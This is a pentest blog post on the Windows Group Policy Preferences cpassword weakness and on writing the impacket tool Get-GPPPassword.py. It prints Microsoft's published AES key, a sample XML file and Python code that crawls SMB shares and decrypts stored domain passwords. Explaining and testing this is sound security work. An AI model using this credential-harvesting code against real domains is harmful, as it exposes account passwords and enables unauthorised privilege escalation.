Exploiting Windows Group Policy Preferences
Introduction
In this article, I will expose the dangers of using Group Policy Preferences (GPP) to store passwords in Group Policies of a domain. As mentioned on adsecurity.org, the first known article on the subject was published in 2012 by @emiliengirault. In the second part, I will explain how we created the Get-GPPPassword.py tool with Shutdown to help find and automatically decrypt Group Policy Preferences Passwords.
What are Group Policy Preferences
Group Policy Preferences (GPP) are an extension of Group Policies, used to override a preference on a group of machines. They can be accessed by any authenticated users, in read-only access to the SYSVOL
shared folder of a Windows domain controller. These policies can be particularly interesting during pentests, as they can contain useful informations such as credentials. In the next section, we will focus on how the credentials are stored in Group Policy Preferences XML files.
Credentials in Group Policy Preferences
Since any user can access these Group Policy Preferences (GPP), the credentials are not stored in cleartext in the XML files. Well … sort of. The credentials are encrypted and stored in the cpassword
field of Properties
attributes in XML files like this one :
<?xml version="1.0" encoding="utf-8" ?>
<Groups clsid="{e18bd30b-c7bd-c99f-78bb-206b434d0b08}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-02-18 01:53:01" uid="{D5FE7352-81E1-42A2-B7DA-118402BE4C33}">
<Properties action="U" newName="ADSAdmin" fullName="" description="" cpassword="RI133B2Wl2CiI0Cau1DtrtTe3wdFwzCiWB5PSAxXMDstchJt3bL0Uie0BaZ/7rdQjugTonF3ZWAKa1iRvd4JGQ" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthonty="RID_ADMIN" userNarne="Administrator (built-in)" expires="2015-02-17" />
</User>
</Groups>
This system would not be so bad, if only Microsoft did not publish the AES private key on MSDN to decrypt the password. Oh wait …. They did :
The Group Policy Preferences’s cpassword
AES key is :
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
This AES key is always used to encrypt passwords in Group Policy Preferences’s cpassword
fields, along with a null Initialisation Vector (IV). Therefore there is no security remaining in this storage system for sensitive informations, such as credentials. Since all authenticated users have read access to the SYSVOL
share, anyone look for XML files containing Properties
with cpassword
fields, containing the AES encrypted passwords.
Writting Get-GPPPassword tool
Now that we know how passwords are stored in Group Policy Preferences, we decided with Shutdown to develop a tool, based on impacket, aiming to help find and automatically decrypt Group Policy Preferences Passwords. So we made Get-GPPPassword.py !
This tool is composed of three major parts :
I will explain these parts more in depth in the next sections.
Finding XML files in shares
The first thing we needed in this tool is to find paths to possible XML Group Policy Preferences files in the shares (SYSVOL
or others). In order to do this, we used a breadth-first search algorithm to crawl the share recursively for XML files.
def find_cpasswords(self, base_dir, extension='xml'):
# Breadth-first search algorithm to recursively find .extension files
files = []
searchdirs = [base_dir + '/']
while len(searchdirs) != 0:
next_dirs = []
# Iterating on directories to crawl
for sdir in searchdirs:
# Iterating on crawl results of depth 1
for sharedfile in self.smb.listPath(self.share, sdir + '*', password=None):
if sharedfile.get_longname() not in ['.', '..']:
if sharedfile.is_directory():
# Found directory, saving for next search in searchdirs
next_dirs.append(sdir + sharedfile.get_longname() + '/')
else:
if sharedfile.get_longname().endswith('.' + extension):
# Found matching XML file
# TODO: parse file & show results
pass
else:
# Found other file
pass
searchdirs = next_dirs
return files
Now that we can find XMl files in the shares, we need to parse these files. This is what we will study in the next part.
Parsing files on the fly
One of the things we wanted with Shutdown, is to be able to open files directly on the fly, without mounting the share. Mounting a share is not possible without special rights/capabilities in Docker containers, and we wanted our tool to be able to run smoothly into Exegol.
We decided to open files on the fly, without mounting the share. To do this, we read the code submitted of this impacket pull request, where mxrch used BytesIO object to open files without mounting the share.
We made the following parse
function :
def parse(self, filename):
results = []
filename = filename.replace('/', '\\')
fh = BytesIO()
try:
# opening the files in streams instead of mounting shares allows for running the script from
# unprivileged containers
self.smb.getFile(self.share, filename, fh.write)
except SessionError as e:
logging.error(e)
return results
except Exception as e:
raise
output = fh.getvalue()
encoding = chardet.detect(output)["encoding"]
if encoding != None:
filecontent = output.decode(encoding).rstrip()
# Do parsing here
else:
# Output cannot be correctly decoded
fh.close()
return results
This function handles the file read, as well as the XML parsing. Now that we have the file contents, it’s time to decrypt these cpassword
fields !
Decrypting cpassword fields
Let’s get to the fun part ! Decrypting the AES-encrypted cpassword
fields found in XML files !
# AES Key : https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be)
key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b'
# Fixed null IV
iv = b'\x00' * 16
# Padding the ciphertext
pad = len(pw_enc_b64) % 4
if pad == 1:
pw_enc_b64 = pw_enc_b64[:-1]
elif pad == 2 or pad == 3:
pw_enc_b64 += '=' * (4 - pad)
pw_enc = base64.b64decode(pw_enc_b64)
# Create context
ctx = AES.new(key, AES.MODE_CBC, iv)
# Decryption
password = unpad(ctx.decrypt(pw_enc), ctx.block_size).decode('utf-16-le')
print(password)
With this part, we are now able to successfully decrypt cpassword
fields of Group Policy Preferences XML files ! Now it’s the time to wrap everything together.
Wrapping up everything
Combining all of this parts, we built a script named Get-GPPPassword.py. We submitted a pull request to the impacket examples scripts, and it was accepted ! Shutdown also included it into Exegol !
Here is a little demonstration of this cool tool in action :
References
- https://www.thehacker.recipes/active-directory-domain-services/movement/credentials/dumping/group-policies-preferences
- https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py
- https://support.microsoft.com/en-us/topic/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevation-of-privilege-may-13-2014-60734e15-af79-26ca-ea53-8cd617073c30
- https://github.com/SecureAuthCorp/impacket/pull/1064
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn581922(v=ws.11)
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be